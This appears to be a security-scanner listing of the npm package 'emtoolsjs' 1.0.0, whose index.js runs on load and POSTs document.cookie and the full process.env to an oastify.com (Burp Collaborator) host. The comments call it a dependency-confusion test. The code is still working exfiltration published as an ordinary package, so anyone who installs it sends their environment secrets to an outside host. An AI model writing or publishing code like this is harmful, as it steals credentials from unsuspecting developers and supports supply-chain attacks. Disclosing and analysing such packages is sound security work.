emtoolsjs 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +38 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const https = require('https');
2
+
3
+ // Código para enviar datos a Burp Collaborator
4
+ function sendData() {
5
+ const data = JSON.stringify({
6
+ message: 'Dependency Confusion Test from emtoolsjs',
7
+ documentCookie: typeof document !== 'undefined' ? document.cookie : 'No access to document',
8
+ environment: process.env // Esto puede darte variables de entorno útiles para el análisis
9
+ });
10
+
11
+ const options = {
12
+ hostname: '2be71rh86kkyju99zxclirv7cyip6gu5.oastify.com', // Burp Collaborator URL
13
+ port: 443,
14
+ path: '/callback',
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': data.length
19
+ }
20
+ };
21
+
22
+ const req = https.request(options, (res) => {
23
+ res.on('data', (d) => process.stdout.write(d));
24
+ });
25
+
26
+ req.on('error', (error) => {
27
+ console.error(error);
28
+ });
29
+
30
+ req.write(data);
31
+ req.end();
32
+ }
33
+
34
+ // Ejecuta la función para enviar los datos
35
+ sendData();
36
+
37
+ module.exports = { sendData };
38
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "emtoolsjs",
3
+ "version": "1.0.0",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "pwd"
8
+ },
9
+ "keywords": [],
10
+ "author": "b4llstr-ywh-",
11
+ "license": "ISC"
12
+ }